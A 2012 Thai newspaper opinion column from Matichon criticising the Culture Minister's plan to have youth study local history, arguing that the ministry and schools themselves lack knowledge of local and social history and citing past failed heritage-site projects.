มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 28 มิถุนายน 2555

 

          มัวแต่ว่าคนอื่นไม่ศึกษาประวัติศาสตร์ท้องถิ่น แต่คนนั้นกำลัง“ว่าแต่เขา อิเหนาเป็นเอง” เพราะตัวเองก็ไม่ศึกษาประวัติศาสตร์ท้องถิ่น แล้วสำคัญตนผิดคิดว่ารู้ประวัติศาสตร์ท้องถิ่นดีกว่าเขา

          เมื่อวันที่ 21 มิถุนายน ที่โรงแรมรอยัลปริ๊นเซส นางสุกุมล คุณปลื้ม รัฐมนตรีว่าการกระทรวงวัฒนธรรม(วธ.) กล่าวในการเปิดประชุมสัมมนาวิชาการ 150 ปี สมเด็จพระเจ้าบรมวงศ์เธอ กรมพระยาดำรงราชานุภาพ พระบิดาแห่งประวัติศาสตร์ไทย ว่าสมเด็จพระเจ้าบรมวงศ์เธอ กรมพระยาดำรงราชานุภาพ ทรงได้รับการยกย่องจากองค์การศึกษา วิทยาศาสตร์ และวัฒนธรรม แห่งสหประชาชาติ(ยูเนสโก) ให้เป็นบุคคลสำคัญของโลก คนแรกของประเทศไทย

          ทั้งนี้ เยาวชนไทยนับวันจะห่างเหินการเรียนวิชาประวัติศาสตร์ ดังนั้น วธ. จะเร่งสนับสนุนให้เด็กนักเรียนรู้เกี่ยวกับประวัติศาสตร์ของชาติให้มากขึ้น

          “ตอนนี้เกิดช่องว่างระหว่างเยาวชนกับการศึกษาประวัติศาสตร์ชาติ ส่วนหนึ่งมาจากเด็กเรียนประวัติศาสตร์แค่ในชั่วโมงเรียนและในโรงเรียน โดยไม่มีโอกาสเข้าถึงแหล่งเรียนรู้เกี่ยวกับประวัติศาสตร์ ดังนั้น จะหารือกับกระทรวงศึกษาธิการ(ศธ.) หาแนวทางดึงเด็กและเยาวชนเข้าไปศึกษาประวัติศาสตร์ในท้องถิ่น ในแหล่งเรียนรู้ที่มีอยู่ในท้องถิ่นนั้นๆ ที่สำคัญจะเร่งรัดให้หน่วยงานต่างๆ ทั้งหอสมุดแห่งชาติ หอจดหมายเหตุแห่งชาติ และพิพิธภัณฑสถานแห่งชาติ จัดกิจกรรมหมุนเวียนในวันสำคัญต่างๆเพื่อดึงดูดความสนใจเยาวชนและครอบครัว ให้เข้ามาศึกษาประวัติศาสตร์ในท้องถิ่นให้มากขึ้น” นางสุกุมลกล่าว (มติชน ฉบับวันศุกร์ที่ 22 มิถุนายน 2555 หน้า 22)

          กรมดำรง ทรงเป็นปราชญ์สยามที่ต้องร่วมกันนอบน้อมศึกษาสรรพศิลปวิทยาการ ที่ทรงวางไว้มากมาย รวมถึงต้องร่วมกันตามรอยพระกรณียกิจทรงคุณค่ามหาศาลอย่างหนังสือประชุมพงศาวดาร

          ปัญหาอยู่ที่สาวกสกุลดำรงราชานุภาพ ซึ่งส่วนมากไม่ฉลาดและขาดเฉลียว เลยชอบแอบอ้างกรมดำรงในนามประวัติศาสตร์โบราณคดีแห่งชาติของไทย โดยทำให้บิดเบี้ยว แล้วเที่ยวใช้เป็นเครื่องมือทำมาหากินด้วยการข่มขู่เบียดเบียนคนอื่น โดยอ้างความรักและเทิดทูนประวัติศาสตร์โบราณคดีไทย

          ประวัติศาสตร์โบราณคดีทางการของไทย ไม่มีประวัติศาสตร์สังคมและท้องถิ่น ครูอาจารย์ไม่มีความรู้และประสบการณ์มากพอเกี่ยวกับประวัติศาสตร์สังคมและท้องถิ่น ย่อมสอนในโรงเรียนไม่รู้เรื่อง เยาวชนไม่อยากเรียนรู้ประวัติศาสตร์อย่างที่ครูอาจารย์สอนในห้องเรียน

          ถ้าไม่เชื่อให้ไปดูมิวเซียมท้องถิ่นใน ม. บูรพา ใกล้บ้าน รมต. วัฒนธรรม จะเห็นว่าไม่มีประวัติศาสตร์สังคมและท้องถิ่น ไม่มีคำอธิบายว่าชลบุรี, บางแสน, พัทยา มาจากไหน? แสดงว่าครูบาอาจารย์ไม่รู้ แล้วจะให้เยาวชนคนท้องถิ่นรู้ได้ยังไง?

          1.วัฒนธรรมเองก็ไม่มีประวัติศาสตร์สังคมและท้องถิ่น แม้แหล่งเรียนรู้อยู่ในท้องถิ่น แต่ไม่เคยศึกษาประวัติศาสตร์สังคมและท้องถิ่นนั้นๆ เพราะสถาบันต้นแบบไม่มีการเรียนการสอน เลยพากันเข้ารกเข้าพงอย่างอวดดียกตนข่มคนอื่น

          ฉะนั้นที่ รมต. วัฒนธรรมจะให้เด็กและเยาวชนไปศึกษาประวัติศาสตร์ท้องถิ่นในแหล่งเรียนรู้ท้องถิ่น จึงเท่ากับ “ว่าแต่เขา อิเหนาเป็นเอง”

          คือว่า ศธ. แต่ที่จริง วธ. ก็ไม่รู้พอๆกันนั่นแหละ

          ก่อนหน้านี้ รมต. วัฒนธรรมจะใช้งบประมาณ 20 ล้านบาท ไปพัฒนาแหล่งโบราณคดีที่บ้านโคกพนมดี อ. พนัสนิคม จ. ชลบุรี ถือเสียว่าเจตนาดี แต่ไม่มีอนาคต เพราะคนใน วธ. เคยทำที่อื่นหมดอนาคตไว้มาก

          ไม่อยากให้ รมต. หลงทำอนุสาวรีย์แห่งความล้มเหลวเหมือนที่บ้านโนนเมือง (อ. ชุมแพ จ. ขอนแก่น) และที่อื่นๆอีกหลายแห่ง ที่ วธ. เคยทำไว้ ยังมีประจักษ์พยานจนทุกวันนี้d.getElementsByTagName(‘head’)[0].appendChild(s);}